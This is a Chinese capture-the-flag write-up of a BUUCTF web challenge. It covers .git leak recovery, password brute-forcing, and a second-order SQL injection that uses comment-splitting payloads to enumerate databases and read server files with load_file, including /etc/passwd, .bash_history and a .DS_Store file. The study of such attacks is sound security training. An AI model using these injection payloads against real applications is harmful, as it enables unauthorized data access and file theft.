思路很新奇,单独从做题记录里拿出来写一下
没找到啥提示,dirsearch
能扫出.git
文件,直接访问发现Forbidden
dirsearch -u http://27a5f1ac-984c-46a1-9c73-0fc68067d28c.node4.buuoj.cn:81/ --delay 3 -t 30
Githack
弄它:
python Githack.py -u http://dd49341c-8374-4a4a-91ac-b258826c8af5.node4.buuoj.cn:81/.git/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php include "mysql.php" ;session_start ();if ($_SESSION ['login' ] != 'yes' ){ header ("Location: ./login.php" ); die (); }if (isset ($_GET ['do' ])){switch ($_GET ['do' ]) {case 'write' : break ;case 'comment' : break ;default : header ("Location: ./index.php" ); } }else { header ("Location: ./index.php" ); }?>
到这里不会做了。。感觉这个文件没有啥可用的信息?
我一开始以为$_SESSION['login']
这里会有利用点。后面看了wp
才知道这东西不全。。
Kali
下:
python2 GitHack.py http://27a5f1ac-984c-46a1-9c73-0fc68067d28c.node4.buuoj.cn:81/.git
然后进对应文件夹看所有分支提交历史:
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
再看write_do.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php include "mysql.php" ;session_start ();if ($_SESSION ['login' ] != 'yes' ){ header ("Location: ./login.php" ); die (); }if (isset ($_GET ['do' ])){switch ($_GET ['do' ]) {case 'write' : $category = addslashes ($_POST ['category' ]); $title = addslashes ($_POST ['title' ]); $content = addslashes ($_POST ['content' ]); $sql = "insert into board set category = '$category ', title = '$title ', content = '$content '" ; $result = mysql_query ($sql ); header ("Location: ./index.php" ); break ;case 'comment' : $bo_id = addslashes ($_POST ['bo_id' ]); $sql = "select category from board where id='$bo_id '" ; $result = mysql_query ($sql ); $num = mysql_num_rows ($result ); if ($num >0 ){ $category = mysql_fetch_array ($result )['category' ]; $content = addslashes ($_POST ['content' ]); $sql = "insert into comment set category = '$category ', content = '$content ', bo_id = '$bo_id '" ; $result = mysql_query ($sql ); } header ("Location: ./comment.php?id=$bo_id " ); break ;default : header ("Location: ./index.php" ); } }else { header ("Location: ./index.php" ); }?>
1 2 3 4 if ($_SESSION ['login' ] != 'yes' ){ header ("Location: ./login.php" ); die (); }
这个地方好像没啥可以利用的地方。。
没给register
界面,不过他提示了用户名和密码的一部分,zhangwei``zhangwei***
,后面三位抓包爆破就行:zhangwei666
注意这里:
1 2 3 4 $category = addslashes ($_POST ['category' ]); $title = addslashes ($_POST ['title' ]); $content = addslashes ($_POST ['content' ]); $bo_id = addslashes ($_POST ['bo_id' ]);
只做了单纯的转义处理,很容易知道这里可能存在二次注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $sql = "insert into board set category = '$category ', title = '$title ', content = '$content '" ; $result = mysql_query ($sql ); $category = mysql_fetch_array ($result )['category' ]; $content = addslashes ($_POST ['content' ]); $sql = "insert into comment set category = '$category ', content = '$content ', bo_id = '$bo_id '" ; $result = mysql_query ($sql );
$category
可以当注入点,抓包看下数据怎么传过去的:
CATEGORY字段:test',content=database()#
这东西放进去就相当于:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $sql = "insert into board set category = 'test\',content=database()#', title = '2', content = '222'" ; $result = mysql_query ($sql ); $category = mysql_fetch_array ($result )['category' ]; $content = addslashes ($_POST ['content' ]); $sql = "insert into comment set category = 'test',content=database()#', content = '$content ', bo_id = '$bo_id '" ; $result = mysql_query ($sql );
然后在comment
下触发就行。
但奇怪的是我的payload
并没有触发,comment
提交后加载不出来。。
后面才知道对于这种多行的sql
语句要用多行注释(\**\)
。。
我当时理解的是:
1 2 3 4 $sql = "insert into comment set category = '' ,content=database ()#', content = ' $content', bo_id = ' $bo_id'";
database()#
里的这个#
把后面所有内容全注释掉了,所以随便哪个bo_id
中对应的内容都回显库名。
对于多行sql
,举个栗子:
CATEGORY字段:1',content=database(),/*
然后再comment
时content
字段改成:*/#
,这样组合相当于:
1 2 3 4 $sql = "insert into comment set category = '1',content=database(),/*', content = '*/#', bo_id = '$bo_id '" ;
第二行的/*
与第三行的*/
将中间注释,而第三行的#
,将后面的单引号
和逗号
给注释了。
爆库:test',content=(select(group_concat(schema_name))from(information_schema.schemata)),/*
爆表:test',content=(select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),/*
爆字段的时候会发现没有和flag
有关的字段,看了wp
发现这里要去看user
这个东西:
1 1',content =user(),/* //返回当前数据库连接的用户名
说明flag不在数据库而在本地文件里,需要读取。在数据库中无需root权限。
1 1 ',content=(select load_file(' / etc/ passwd')),/*
注意最后一行,www
用户的 home
目录(第五个冒号后)一般都是 /var/www
, 而这里是 /home/www
我们可以想办法读取www
用户的操作记录:
.bash_history保存了当前用户使用过的历史命令
1 ',content=((select (load_file("/home/www/.bash_history" )))),/*
1 2 3 4 5 6 7 cd /tmp/ :切换当前工作目录到/tmp/ 目录 unzip html.zip:解压缩名为html.zip的文件 rm -f html.zip:强制删除名为html.zip的文件 cp -r html /var/ www/:将名为html的目录递归地复制到/ var/www/ 目录下 cd /var/ www/html/ :切换当前工作目录到/var/ www/html/ 目录 rm -f .DS_Store:删除名为.DS_Store的文件 service apache2 start:启动Apache2服务
删除了/var/www/html/.DS_Store
,但没删/tmp/html/.DS_Store
。
.DS_Store是Mac OS保存文件夹的自定义属性的隐藏文件,如文件的图标位置或背景色,相当于Windows的desktop.ini。经常会有一些不可见的字符
尝试读取:
1 1 ',content=(select load_file(' / tmp/ html/ .DS_Store')),/*
???看下源码:
一大堆乱码,可以尝试转换成十六进制读取,为啥么这么转在网上查了一下:
1',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
全选之后解码,能发现有这么个东西:
1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
然后十六进制解码就行
1 2 3 <?php $flag ="flag{99773ebf-cc83-4cda-a092-a9e1a14af733}" ;?>
当然也有专门读DS_Store
这种文件的工具:https://github.com/gehaxelt/Python-dsstore
用法也很简单:
注意这里我们获得十六进制数据后,先把十六进制文件(内容复制粘贴,txt
)转换成二进制文件再操作才行:
1 2 3 4 5 6 7 8 9 10 11 12 13 def hex_file_to_binary (hex_file_path, binary_file_path ): with open (hex_file_path, 'r' ) as hex_file: hex_string = hex_file.read().replace('-' , '' ) binary_string = bytes .fromhex(hex_string).decode('latin-1' ) with open (binary_file_path, 'wb' ) as binary_file: binary_file.write(binary_string.encode('latin-1' )) hex_file_path = 'd:/hexwhat.txt' binary_file_path = 'd:/biwhat.txt' hex_file_to_binary(hex_file_path, binary_file_path)
后面步骤一样就不写了。